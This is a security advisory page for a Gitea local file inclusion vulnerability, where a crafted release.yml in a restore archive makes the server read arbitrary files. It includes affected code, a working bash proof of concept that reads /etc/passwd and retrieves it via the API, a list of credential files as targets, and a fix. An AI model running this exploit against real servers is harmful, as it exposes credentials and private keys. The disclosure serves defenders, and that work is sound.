GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-5GGR-2F2H-JMVM

Vulnerability from github – Published: 2026-07-21 20:59 – Updated: 2026-07-21 20:59
VLAI
Summary
Gitea: Local File Inclusion via file:// URI in Migration Restore
Details

Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers: - Isa Can — Eresus Security (https://github.com/isa0-gh) - Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)


Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.


Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini — containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.


Affected Code

modules/uri/uri.go

func Open(rawURL string) (io.ReadCloser, error) {
    u, err := url.Parse(rawURL)
    if err != nil {
        return nil, err
    }
    switch u.Scheme {
    case "http", "https":
        resp, err := http.Get(rawURL)
        ...
    case "file":
        return os.Open(u.Path) // no scheme validation, no path restriction
    }
}

services/migrations/gitea_uploader.go (~line 370)

func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
    for _, rel := range releases {
        for _, asset := range rel.Assets {
            rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
            ...
            // file content saved as release attachment
        }
    }
}

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

  1. Create a malicious archive containing release.yml:
releases:
  - tag_name: v0.0.1
    assets:
      - name: exfiltrated.txt
        download_url: "file:///etc/passwd"
  1. Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
  1. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.

  2. Retrieve via API:

curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
  -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'

PoC

Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)

GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"

1. Create target org and repo via API

curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true

curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true

2. Build malicious archive

TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"

cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
  - tag_name: v0.0.1
    name: test
    body: ""
    draft: false
    prerelease: false
    assets:
      - name: output.txt
        download_url: "file://$TARGET_FILE"
        size: 0
        download_count: 0
YAML

cd "$TMP" && zip -r poc.zip bundles/
````
# 3. Trigger restore

gitea restore-repo \ --zip-path "$TMP/poc.zip" \ --owner "$OWNER" \ --repo "$REPO" \ --units release 2>&1

# 4. Retrieve exfiltrated content

echo "[*] Fetching exfiltrated content..." RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \ -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')

curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \ -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \ xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"

rm -rf "$TMP"

---

## Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.

---

## Fix Recommendation

In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():

parsed, err := url.Parse(asset.DownloadURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL) continue } rc, err := uri.Open(asset.DownloadURL) Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts. ```


Workaround

Until a patch is available, operators should:

  • Restrict restore-repo execution to fully trusted operators only
  • Audit all archive contents manually before running restoration
  • Review existing release attachments for unexpected or sensitive filenames

Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh

Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitea.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:59:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Local File Inclusion via file:// URI in Migration Restore\n\nTarget: go-gitea/gitea\nComponent: services/migrations/gitea_uploader.go, modules/uri/uri.go\nSeverity: High\nAffected Versions: \u003c= v1.22.x (all releases), master as of latest commit\nResearchers:\n- Isa Can \u2014 Eresus Security (https://github.com/isa0-gh)\n- Yigit Ibrahim \u2014 Eresus Security (https://github.com/ibrahmsql)\n\n---\n\n## Summary\n\nGitea\u0027s restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.\n\n---\n\n## Impact\n\nAn attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:\n\n- app.ini \u2014 containing database passwords and secret keys\n- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)\n- TLS certificates and private keys\n- Cloud provider credential files (e.g. ~/.aws/credentials)\n- Any other file readable by the Gitea process user\n\nThe exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.\n\n---\n\n## Affected Code\n\n### modules/uri/uri.go\n```\nfunc Open(rawURL string) (io.ReadCloser, error) {\n    u, err := url.Parse(rawURL)\n    if err != nil {\n        return nil, err\n    }\n    switch u.Scheme {\n    case \"http\", \"https\":\n        resp, err := http.Get(rawURL)\n        ...\n    case \"file\":\n        return os.Open(u.Path) // no scheme validation, no path restriction\n    }\n}\n```\n### services/migrations/gitea_uploader.go (~line 370)\n```\nfunc (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {\n    for _, rel := range releases {\n        for _, asset := range rel.Assets {\n            rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated\n            ...\n            // file content saved as release attachment\n        }\n    }\n}\n```\n---\n\n## Attack Scenario\n\nAn attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:\n\n1. Create a malicious archive containing release.yml:\n```\nreleases:\n  - tag_name: v0.0.1\n    assets:\n      - name: exfiltrated.txt\n        download_url: \"file:///etc/passwd\"\n```\n2. Run restore:\n```\ngitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo\n```\n3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.\n\n4. Retrieve via API:\n```\ncurl -s \"http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets\" \\\n  -H \"Authorization: token ADMIN_TOKEN\" | jq -r \u0027.[].browser_download_url\u0027\n```\n---\n\n## PoC\n\u003e Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.\n```\n#!/usr/bin/env bash\n# PoC: Gitea LFI via release.yml DownloadURL\n# Requires: admin credentials, gitea binary on PATH (server host)\n\nGITEA_URL=\"${1:-http://localhost:3000}\"\nADMIN_TOKEN=\"${2:-REPLACE_ME}\"\nTARGET_FILE=\"${3:-/etc/passwd}\"\nOWNER=\"test-org\"\nREPO=\"lfi-test\"\n```\n# 1. Create target org and repo via API\n```\ncurl -sf -X POST \"$GITEA_URL/api/v1/orgs\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"username\\\":\\\"$OWNER\\\",\\\"visibility\\\":\\\"private\\\"}\" || true\n\ncurl -sf -X POST \"$GITEA_URL/api/v1/user/repos\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"name\\\":\\\"$REPO\\\",\\\"private\\\":true,\\\"auto_init\\\":true}\" || true\n```\n# 2. Build malicious archive\n```\nTMP=$(mktemp -d)\nmkdir -p \"$TMP/bundles/$OWNER/$REPO\"\n\ncat \u003e \"$TMP/bundles/$OWNER/$REPO/release.yml\" \u003c\u003cYAML\nreleases:\n  - tag_name: v0.0.1\n    name: test\n    body: \"\"\n    draft: false\n    prerelease: false\n    assets:\n      - name: output.txt\n        download_url: \"file://$TARGET_FILE\"\n        size: 0\n        download_count: 0\nYAML\n\ncd \"$TMP\" \u0026\u0026 zip -r poc.zip bundles/\n````\n# 3. Trigger restore\n```\ngitea restore-repo \\\n  --zip-path \"$TMP/poc.zip\" \\\n  --owner \"$OWNER\" \\\n  --repo \"$REPO\" \\\n  --units release 2\u003e\u00261\n```\n# 4. Retrieve exfiltrated content\n```\necho \"[*] Fetching exfiltrated content...\"\nRELEASE_ID=$(curl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" | jq -r \u0027.[0].id\u0027)\n\ncurl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" | jq -r \u0027.[0].browser_download_url\u0027 | \\\n  xargs -I{} curl -sf \"{}\" -H \"Authorization: token $ADMIN_TOKEN\"\n\nrm -rf \"$TMP\"\n```\n---\n\n## Root Cause\n\nuri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.\n\n---\n\n## Fix Recommendation\n\nIn services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():\n```\nparsed, err := url.Parse(asset.DownloadURL)\nif err != nil || (parsed.Scheme != \"http\" \u0026\u0026 parsed.Scheme != \"https\") {\n    log.Warn(\"Skipping release asset with non-HTTP URL: %s\", asset.DownloadURL)\n    continue\n}\nrc, err := uri.Open(asset.DownloadURL)\nAlternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.\n```\n---\n\n## Workaround\n\nUntil a patch is available, operators should:\n\n- Restrict restore-repo execution to fully trusted operators only\n- Audit all archive contents manually before running restoration\n- Review existing release attachments for unexpected or sensitive filenames\n\n---\n\nIsa Can\nSecurity Researcher \u2014 Eresus Security\nhttps://github.com/isa0-gh\n\nYigit Ibrahim\nSecurity Researcher \u2014 Eresus Security\nhttps://github.com/ibrahmsql",
  "id": "GHSA-5ggr-2f2h-jmvm",
  "modified": "2026-07-21T20:59:53Z",
  "published": "2026-07-21T20:59:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Local File Inclusion via file:// URI in Migration Restore"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…